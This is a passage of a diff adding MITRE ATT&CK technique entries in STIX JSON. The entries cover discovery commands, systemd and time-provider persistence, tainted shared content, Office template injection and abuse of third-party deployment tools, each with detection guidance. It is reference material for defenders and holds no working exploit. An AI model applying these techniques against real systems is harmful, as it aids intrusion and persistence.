modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1082", + "source_name": "mitre-attack", + "external_id": "T1082" + }, + { + "url": "https://capec.mitre.org/data/definitions/311.html", + "source_name": "capec", + "external_id": "CAPEC-311" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "name": "System Information Discovery", + "created": "2017-05-31T21:31:04.307Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n### Windows\n\nExample commands and utilities that obtain this information include ver, [Systeminfo](https://attack.mitre.org/software/S0096), and dir within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.\n\n### Mac\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1016", + "source_name": "mitre-attack", + "external_id": "T1016" + }, + { + "url": "https://capec.mitre.org/data/definitions/309.html", + "source_name": "capec", + "external_id": "CAPEC-309" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "name": "System Network Configuration Discovery", + "created": "2017-05-31T21:30:27.342Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1049", + "source_name": "mitre-attack", + "external_id": "T1049" + } + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "name": "System Network Connections Discovery", + "created": "2017-05-31T21:30:45.139Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n### Windows\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\n\n### Mac and Linux \n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1033", + "source_name": "mitre-attack", + "external_id": "T1033" + }, + { + "url": "https://capec.mitre.org/data/definitions/577.html", + "source_name": "capec", + "external_id": "CAPEC-577" + } + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "name": "System Owner/User Discovery", + "created": "2017-05-31T21:30:35.733Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "### Windows\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n### Mac\n\nOn Mac, the currently logged in user can be identified with users,w, and who.\n\n### Linux\n\nOn Linux, the currently logged in user can be identified with w and who.", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1007", + "source_name": "mitre-attack", + "external_id": "T1007" + }, + { + "url": "https://capec.mitre.org/data/definitions/574.html", + "source_name": "capec", + "external_id": "CAPEC-574" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "name": "System Service Discovery", + "created": "2017-05-31T21:30:21.315Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1124", + "source_name": "mitre-attack", + "external_id": "T1124" + }, + { + "url": "https://msdn.microsoft.com/ms724961.aspx", + "source_name": "MSDN System Time", + "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016." + }, + { + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf", + "source_name": "RSA EU12 They're Inside", + "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016." + }, + { + "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings", + "source_name": "Technet Windows Time Service", + "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "API monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "name": "System Time Discovery", + "created": "2017-05-31T21:31:37.450Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "external_id": "T1501", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1501" + }, + { + "url": "http://man7.org/linux/man-pages/man1/systemd.1.html", + "source_name": "Linux man-pages: systemd January 2014", + "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019." + }, + { + "url": "https://www.freedesktop.org/wiki/Software/systemd/", + "source_name": "Freedesktop.org Linux systemd 29SEP2018", + "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019." + }, + { + "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", + "source_name": "Anomali Rocke March 2019", + "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019." + }, + { + "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a", + "source_name": "gist Arch package compromise 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019." + }, + { + "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/", + "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019." + }, + { + "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html", + "source_name": "acroread package compromised Arch Linux Mail 8JUL2018", + "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019." + }, + { + "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence", + "source_name": "Rapid7 Service Persistence 22JUNE2016", + "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "x_mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "modified": "2019-04-29T14:14:08.450Z", + "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "name": "Systemd Service", + "created": "2019-04-23T15:34:30.008Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", + "x_mitre_permissions_required": [ + "root", + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1080", + "source_name": "mitre-attack", + "external_id": "T1080" + }, + { + "url": "https://capec.mitre.org/data/definitions/562.html", + "source_name": "capec", + "external_id": "CAPEC-562" + }, + { + "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html", + "source_name": "Retwin Directory Share Pivot", + "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "David Routin" + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "name": "Taint Shared Content", + "created": "2017-05-31T21:31:01.759Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)", + "x_mitre_system_requirements": [ + "Access to shared folders and content with write permissions" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1221", + "source_name": "mitre-attack", + "external_id": "T1221" + }, + { + "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)", + "source_name": "Microsoft Open XML July 2017", + "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018." + }, + { + "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780", + "source_name": "SANS Brian Wiltse Template Injection", + "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019." + }, + { + "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html", + "source_name": "Redxorblue Remote Template Injection", + "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018." + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/", + "source_name": "MalwareBytes Template Injection OCT 2017", + "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018." + }, + { + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104", + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018." + }, + { + "url": "https://blog.talosintelligence.com/2017/07/template-injection.html", + "source_name": "Talos Template Injection July 2017", + "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018." + }, + { + "url": "https://github.com/ryhanson/phishery", + "source_name": "ryhanson phishery SEPT 2016", + "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Patrick Campbell, @pjcampbe11" + ], + "x_mitre_data_sources": [ + "Anti-virus", + "Email gateway", + "Network intrusion detection system", + "Web logs" + ], + "modified": "2019-04-25T03:13:13.789Z", + "x_mitre_detection": "Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1086)), or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Static File Analysis" + ], + "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "name": "Template Injection", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_version": "1.1", + "type": "attack-pattern", + "description": "Microsoft\u2019s Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents (i.e. [Scripting](https://attack.mitre.org/techniques/T1064)). Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1072", + "source_name": "mitre-attack", + "external_id": "T1072" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Third-party application logs", + "Windows Registry", + "Process monitoring", + "Process use of network", + "Binary file metadata" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "name": "Third-party Software", + "created": "2017-05-31T21:30:57.201Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": true, + "type": "attack-pattern", + "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1209", + "source_name": "mitre-attack", + "external_id": "T1209" + }, + { + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top", + "source_name": "Microsoft W32Time Feb 2018", + "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx", + "source_name": "Microsoft TimeProvider", + "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018." + }, + { + "url": "https://github.com/scottlundgren/w32time", + "source_name": "Github W32Time Oct 2017", + "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + }, + { + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings", + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Scott Lundgren, @5twenty9, Carbon Black" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "File monitoring", + "Loaded DLLs", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "name": "Time Providers", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1099", + "source_name": "mitre-attack", + "external_id": "T1099" + }, + { + "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html", + "source_name": "WindowsIR Anti-Forensic Techniques", + "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016." + } + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": 